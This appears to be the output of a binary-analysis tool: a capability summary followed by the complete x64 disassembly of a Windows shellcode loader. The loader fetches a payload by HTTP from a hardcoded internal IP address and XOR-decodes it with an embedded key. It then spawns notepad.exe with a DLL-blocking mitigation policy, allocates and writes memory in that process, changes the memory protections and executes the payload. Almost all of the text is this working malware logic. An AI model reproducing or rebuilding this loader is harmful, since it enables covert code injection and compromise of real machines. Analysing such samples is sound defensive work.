Function at 0x1400011c0
Capabilities:
Connect socket
Convert ip address from string
Create process on windows
Encode data using xor
Initialize winsock library
Protect spawned processes with mitigation policies
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor edi, edi
mov ecx, 0x202
lea rdx, [rbp + 0xd0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x14000124a
lea rdx, str.____Error_initializing_Winsock:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001a5a
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x14000127e
lea rdx, str.____Error_creating_socket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
jmp 0x140001230
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov word [rbp + 0x68], bx
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x6a], ax
lea r8, [rbp + 0x6c]
lea rdx, str.172.16.4.19
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x1400012c8
lea rdx, str.____Error_converting_IP_address
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
jmp 0x140001230
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x68]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001303
lea rdx, str.____Error_connecting_to_server
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x90], send
mov ecx, 0x20
call fcn.140002eb0
mov rdx, rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], socket
mov qword [rbp + 0x90], 0x1f
movups xmm0, xmmword [str.GET__xd_HTTP_1.1_r_n_r_n]
movups xmmword [rax], xmm0
mov eax, dword [0x140004528]
mov dword [rdx + 0x10], eax
mov byte [rdx + 0x14], dil
xor r9d, r9d
mov r8d, dword [rbp + 0x88]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r13, rdi
mov qword [rbp + 0x30], rdi
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x270]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400013d8
nop dword [rax]
mov r9d, eax
lea r8, [rbp + 0x270]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x20]
call fcn.140002220
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x270]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400013a0
mov r13, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x28]
mov rbx, rsi
mov r12, qword [rbp + 0x20]
sub rbx, r12
lea rdx, str.___Received
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001c40
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._bytes
call fcn.140001c40
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov r14, rdi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rdi
cmp rbx, 4
jl 0x140001585
lea r10, [rsi - 4]
mov r9, r12
lea rbx, str._r_n_r_n
lea r11, [0x14000454c]
nop dword [rax]
mov rax, rbx
mov r8, r9
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax + r8]
movsx ecx, byte [rax]
cmp edx, ecx
jne 0x1400014eb
inc rax
cmp rax, r11
jne 0x140001470
cmp r9, rsi
je 0x140001585
xorps xmm0, xmm0
lea r14, [r9 + 4]
movdqu xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rdi
sub rsi, r14
je 0x14000152a
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140001a90
cmp rsi, 0x1000
jb 0x1400014fc
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x140001a96
call fcn.140002eb0
test rax, rax
je 0x14000156b
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001507
cmp r9, r10
je 0x140001585
inc r9
jmp 0x140001460
mov rcx, rsi
call fcn.140002eb0
mov rbx, rax
mov qword [rbp + 0x38], rbx
lea rdi, [rbx + rsi]
mov qword [rbp + 0x48], rdi
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov qword [rbp + 0x40], rdi
jmp 0x140001532
mov r8, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
sub r8, rbx
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.1400020a0
nop
test rbx, rbx
je 0x14000157d
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x140001572
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001572
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.140002eec
mov r14, qword [rbp + 8]
xor edi, edi
jmp 0x1400015a8
lea rdx, str.____Error_parsing_HTTP_response
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov ecx, 0x30
call fcn.140002eb0
mov r15, rax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb0], 0x20
mov qword [rbp + 0xb8], 0x2f
movups xmm0, xmmword [str.dWrNaScfdQS4z3clibTBvYnB6ZcDBT0w]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004580]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
xorps xmm0, xmm0
mov rbx, qword [rbp + 0x10]
sub rbx, r14
movdqu xmmword [rbp + 0x50], xmm0
mov rsi, rdi
mov qword [rbp + 0x60], rdi
je 0x14000168e
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140001a9c
cmp rbx, 0x1000
jb 0x140001661
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001a8a
call fcn.140002eb0
test rax, rax
je 0x14000197c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000166c
mov rcx, rbx
call fcn.140002eb0
mov rdi, rax
mov qword [rbp + 0x50], rdi
lea rsi, [rdi + rbx]
mov qword [rbp + 0x60], rsi
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov r10, rsi
mov qword [rbp + 0x58], rsi
jmp 0x140001696
mov r10, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x50]
xor r8d, r8d
test rbx, rbx
je 0x1400016cd
mov r9, r14
sub r9, rdi
nop dword [rax]
nop dword [rax + rax]
mov rax, r8
and eax, 0x1f
lea rdx, [rdi + r8]
movzx ecx, byte [r9 + rdx]
xor cl, byte [rax + r15]
mov byte [rdx], cl
inc r8
cmp r8, rbx
jb 0x1400016b0
sub r10, rdi
mov qword [rsp + 0x60], r10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], rax
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x58]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
mov qword [rsp + 0x50], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
movabs rax, 0x100000000000
mov qword [rbp + 0x98], rax
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x98]
xor edx, edx
mov r8d, 0x20007
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov qword [rbp - 8], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:windows_system32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001821
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.____Could_not_create_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
mov rcx, rax
lea rdx, [0x1400011a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x60]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rbx
mov r9, qword [rsp + 0x60]
mov r8, rdi
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.140002a40
mov ebx, eax
test eax, eax
je 0x1400018c1
lea rdx, str.____Could_not_write_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
mov rcx, rax
lea rdx, [0x1400011a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.140002ac0
mov ebx, eax
test eax, eax
je 0x140001928
lea rdx, str.____Could_not_modify_memory_protections
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c40
mov rcx, rax
lea rdx, [0x1400011a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001e10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
call fcn.140002e00
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.140002900
nop
test rdi, rdi
je 0x14000198f
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x140001983
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001983
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rdi
call fcn.140002eec
nop
mov edx, 0x30
mov rcx, r15
call fcn.140002eec
nop
test r14, r14
je 0x1400019da
mov rdx, qword [rbp + 0x18]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x1400019d1
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140002eec
nop
test r12, r12
je 0x140001a17
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x140001a0b
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r12
call fcn.140002eec
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140001a58
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002eec
xor eax, eax
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.140002e90
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001100
nop
call fcn.140002200
int3
call fcn.140001100
nop
call fcn.140002200
int3